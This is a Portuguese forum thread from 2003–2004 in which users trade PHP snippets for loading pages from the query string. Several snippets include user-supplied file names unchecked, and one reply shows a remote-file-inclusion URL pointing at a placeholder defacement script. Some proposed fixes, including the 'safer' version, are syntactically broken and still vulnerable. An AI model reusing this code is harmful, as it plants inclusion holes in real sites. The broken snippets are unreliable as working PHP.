covered 0 Denunciar post Postado Dezembro 17, 2003 Na página index.php voce deve botar o seguinte codigo: <?phpif ($page=="principal") {include "index.html";} elseif ($page=="downloads") {include "downloads.html";} elseif ($page=="contato") {include "contato.html";} elseif (!$page) {echo "Você deve escolher uma seção";}?> Compartilhar este post Link para o post Compartilhar em outros sites
Alisson Rodrigues 3 Denunciar post Postado Dezembro 17, 2003 É isso aí pessoal, postando códigos... ^_^/> Compartilhar este post Link para o post Compartilhar em outros sites
Keitaro 0 Denunciar post Postado Fevereiro 13, 2004 Outra opcao:index.php?areaswitch($_SERVER['QUERY_STRING']){default:pagina principalbreak;case "downloads":include "downloads.php";break;}e assim por diante.. é so por mais casos possivei e beleza :D ai n tem esse =, que n ha necessidade nesse caso... a n ser que você qra mostra pros outro q a sua URL é maior q a deles e dizer q sabe mais ;DDD zuera -_- :lol: Compartilhar este post Link para o post Compartilhar em outros sites
Akiracovers 0 Denunciar post Postado Fevereiro 13, 2004 Query String Funcional. Dinamico e Simples Existem modos bem mais faceis de fazer algo assim não???? ^_^ ^_^ Custava vcs tentarem fazer algo mais funcional e simples galera?? ;) ;) Bem...... Seus Probremas Terminan-se Por que chegou o anatôminico, poderosico e simplisico Query String Seu Creisson.... Brincadeiras Mas tah ai um query string que eu uso bem simplisinho: index.php <?php if(empty($page)) { include("padrao.ext"); } else { include("$page.ext"); } ?></font>é bem simples e facil, em padrao.ext você vai colocar no lugar o arquivo que ira ser o padrão da query string por exemplo news.htm (a extensão pode variar) e a onde estah $page.ext a estensão das paginas a abrir pelo query string, você pode colocar page.htm Ae o formato dos links, como q faiz???? Basta você colocar os links da seguinte forma: <A href="?page=downloads">Downloads</a>que altomaticamente ele procurará o arquivo downloads.ext (ext=extensão) e coloca no lugar do padrão.ext Bem mais facil naum???? :blink: :blink: B) Compartilhar este post Link para o post Compartilhar em outros sites
Preceptor 3 Denunciar post Postado Março 8, 2004 Prefiro assim fica mais pratico//defina as pagina aqui$pagina[0] = 'index.php';$pagina[1] = 'contato.php';$pagina[2] = 'empresa.php';//Mais pagina continue acrescentando numeros e paginasif (!empty($_SERVER['QUERY_STRING']))include "index.php";elseinclude $pagina[$_GET[id]);#---------nos links voce coloca cada numero referente a uma pagina<a href=?id=0>index </a><a href=?id=1>Contato</a><a href=?id=2>Empresa</a>e assim vai Compartilhar este post Link para o post Compartilhar em outros sites
Cristiano 0 Denunciar post Postado Março 11, 2004 Akiracovers, esse tipo de inclusão de arquivo não é aconselhável pois a pessoa pode incluir arquivos de outro servidor, caso seu servidor esteja com esse tipo de permissão ativo.Bastaria a pessoa colocar suapagina.php?page=http://www.sacana_bla_bla_bla.com.br/deface.phpNa página deface.php ele pode colocar algo que escreva pixações na sua página inicial ou pegar informações do banco de dados.Só pra não passar o post em "branco" vou dar uma melhorada no seu código, usando o ternário, olha: <?$id = $_GET['page'];if (empty(!$id)) { include (!file_exists($id.'.php')) ? "erro.php" : "$id.php"; }?>Bom, desse jeito que coloquei acima ele antes de tentar incluir o arquivo vai verificar se ele existe no servidor, caso não exista incluirá o arquivo erro.phpÉ isso. Compartilhar este post Link para o post Compartilhar em outros sites
DARKSTONE 0 Denunciar post Postado Março 31, 2004 Bom eu fazia diferente mas curti o modo do scooby ali em cimabe mclean e organizado o codigonão que o do cristiano não esteja correto mas para ini eu prefiro o do scooby :P valew Compartilhar este post Link para o post Compartilhar em outros sites
joao.vanelli 0 Denunciar post Postado Julho 29, 2004 Olá pessoas Eu tenho mais uma idéia index.php $lay=new LayoutPadrao(); switch($_SERVER['QUERY_STRING']) { case "fotos": print($lay->layoutFotos()); break; case "eventos": print($lay->layoutEventos()); break; default: print($lay->layoutIndex()); break; } agora a classe LauoutPadrao no arquivo layoutpadrao.php class LayoutPadrao { function layoutFotos() { $html"a pagina de fotos aqui"; return $html; } function layoutEventos() { $html"a pagina de eventos aqui"; return $html; } function layoutIndex() { $html"a pagina de index aqui"; return $html; } } Os link seguem a metodologia abaixo <a href=index.php?o nome do arquivo>Arquivo</a> ex <a href=index.php?fotos>Fotos</a> Falow :P Compartilhar este post Link para o post Compartilhar em outros sites